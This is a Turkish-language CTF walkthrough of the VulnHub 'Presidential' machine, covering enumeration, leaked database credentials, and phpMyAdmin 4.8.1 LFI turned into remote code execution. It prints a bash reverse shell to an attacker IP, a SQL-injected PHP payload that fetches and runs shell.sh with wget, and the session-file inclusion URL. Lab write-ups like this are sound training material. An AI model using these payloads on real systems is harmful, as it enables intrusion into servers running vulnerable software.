Giriş – Öneri
Tüm CTF’lere giriş yaparken motivasyonunuzu gerçek bir kurum/kuruluşa penetrasyon testi yaptığınızı düşünün ve ciddiyetinizi buna göre oluşturun.Sizi ne motive ediyorsa para/şöhret,BİLGİ v.b. elde edeceğinizi düşünün.Makine seçiminizde zorluk derecesini çok önemsemeyin bu göreceli bir kavramdır.Çok zorda kalmadığınız sürece Write-Up okumayın sürekli deneyin,farklı şekillerde deneyin ve yanılın.Gelişiminiz açısından gerçek hayata uyarlanmış makineler bulmaya çalışın.Soru çözümlerinde yaptığım her hatayı her denemeyi size aktarmam imkansız.Bunun yerine ufak notlar,denediğim yollar,denediğim script ve listeler dahil aktarmaya çalışacağım.
Makine URI; https://www.vulnhub.com/entry/presidential-1,500/
Bu makinenin bir hikayesi mevcut ve bize verilen tek ipucu (Diğer makinelerde olduğu gibi) “Enumerating is your friend.”
Giriş yaptığımda sitenin her bölümünü manuel olarak inceliyorum.Sağ Tık > Sayfayı görüntüle diyerek bağlantıları,dahil edilmiş dosyaları(Javascript) tek tek kontrol ediyorum.Javascript dosyalarında mail gönderimi için bir dosya bulunmakta fakat dizinlerimizde böyle bir alan bulunmamakta eğer bulunsaydı inputlara SQLi gibi saldırı vektörlerini deyebilirdik.
Bu sırada her CTF’de mutlaka çalıştırdığım yardımcı programlar Nikto,Nmap,Dirb. Nikto’dan yararlı bir çıktı alamadım.
O yüzden enumerating’e başlıyorum.

Önceki CTF’lerden elde ettiğim NetSparker’in güzel bir wordlist’i var ; https://www.netsparker.com/blog/web-security/svn-digger-better-lists-for-forced-browsing/
Diğer toplu wordlistler ; https://github.com/danielmiessler/SecLists
Tarama komutumuz ; gobuster dir -u 192.168.254.240 -w all.txt -x .html,.php,.asp,.aspx,.jsp,.py,.txt,.conf,.config,.bak,.backup,.swp,.old,.db,sql -s “200”
Uzantıları manuel olarak belirtlememiz işe yarar bir olay. -s parametresi sadece durum kodu 200 olanları göster demek.
Çıktıda config.php.bak dosyası elde ediyoruz. Bak dosyaları yedekleme dosyalarıdır.
http://192.168.254.240/config.php.bak Erişim sağladığımda boş bir sayfa çıkıyor ama Sağ Tık > Kaynağı Görüntüle derseniz php kodu ile yazılmış DB bilgilerini göreceksiniz.Bir ipucu,erişim sağladığınız dizinlerin çıktılarını kontrol etmek için her zaman bu yöntemi deneyin.

Bunu not aldık,bu sefer Port Taramasına geçelim.Bize MYSQL gibi veya veritabanı girişi yapabileceğimiz bir alan bulmamız gerekir.

-p- parametresi ile tüm portları tarıyorum fakat 2082’de pek rastlanmayan bi servise denk geliyorum o yüzden -sV ekleyerek versiyon yoluyla hangi servis olduğunu bulmak istiyorum. SSH Default portu 22 dir fakat burada 2082’ye taşınmış. Default olarak root@root,root@admin gibi girişler deniyorum fakat işlevsiz.
Burada epeyce bir takılıp kalıyorum.Subdomain enumerating’e karar veriyorum. Anasayfada sol üst köşede bulunan “contact@votenow.local” iletişim kanalından aklıma gelerek votenow.local olarak host’umu değiştiriyorum.
leafpad /etc/hosts

Ardından sub-domain araştırmama başlıyorum.

wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H “Host: FUZZ.votenow.local” –hw 854 –hc 400 192.168.254.240
ve subdomain’imiz datasafe olarak geliyor. Bu sefer yine etc/host’umuza yeni bir ekleme yapıyoruz
MAKINE-Ip-Adresiniz datasafe.votenow.local

ve bizi phpMyAdmin karşılıyor. Config.php.bak’dan aldığımız bilgileri girip erişim sağlayalım.
votebox : casoj3FFASPsbyoRP

İlk baktığım şey phpMyAdmin versiyonundaki zafiyet araştırması oldu ki baktığım gibi LFI zafiyeti var. Admin parolasını değiştirmemiz bize hiç bi şey katmayacak ama crack etmemizde fayda var.
john –w=/usr/share/wordlists/rockyou.txt crack.txt
Bu parola kırılırken işlemlerimize devam edebiliriz.
googlink : phpmyadmin 4.8.1 exploit https://www.exploit-db.com/exploits/44928
Uygulanış videosu https://www.youtube.com/watch?v=bT-00ZUTq0o
Test etmek amaçlı /etc/passwd dosyamıza erişelim.

Evet işe yarıyor.LFI ile yapabileceğimiz teknik olaylara bakarsak bu olayı LFI TO RCE‘na dönüştürebiliriz.

Bu scripti shell.sh olarak var/www/html dizinine gönderin > bash -i >& /dev/tcp/192.168.254.128/5555 0>&1
Bu sorguyu phpMyAdmin de çalıştırın >
select '<?php system("wget 192.168.254.128/shell.sh; chmod +x shell.sh; bash shell.sh");exit;?>' |

Aynı sayfadayken cookie bilginizi kopyalayın.

Farklı bir sekme açın ve URI’e istek gönderin;
datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_COOKIEBILGINIGIR

Ve artık sunucunun içersindeyiz.
Komut sözdizimimizin düzgün çalışması için etkileşimli python komutumuzu girelim;
python -c ‘import pty;pty.spawn(“/bin/bash”)’

Burada daha önceden cracklemeye bıraktığımız parolamız ortaya çıkıyor.Bu bölümde işimize yarayacak.
Yetki yükseltmemiz için elde ettiğimiz bilgileri giriyoruz.

Bu bölümde çeşitli zafiyet scriptleriyle ve manuel olarak SUID bitleri bulmaya çalışıyorum.Diğer CTF’lerde kullanacağımız için denediğim adımları şimdilik geçiyorum ancak iletişim kurmanız halinde iletebilirim.
getcap -r / 2>/dev/null komutunu giriyorum.
getcap nedir ? okuyun ; https://nxnjz.net/2018/08/an-interesting-privilege-escalation-vector-getcap/ ve https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/
Daha önce ssh bağlantısı kurduğumuzda bizden id_rsa key istiyordu yani doğru bilgileri girsek bile keyimiz olması gerekli.Sunucu erişimimiz olduğundan root key’ine ulaşabiliriz.


Oldukça kutu dışında düşünmeyi gerektiren,gerçek hayata çok uygun bir makineydi.
Sorularınız olursa iletmeyi unutmayın.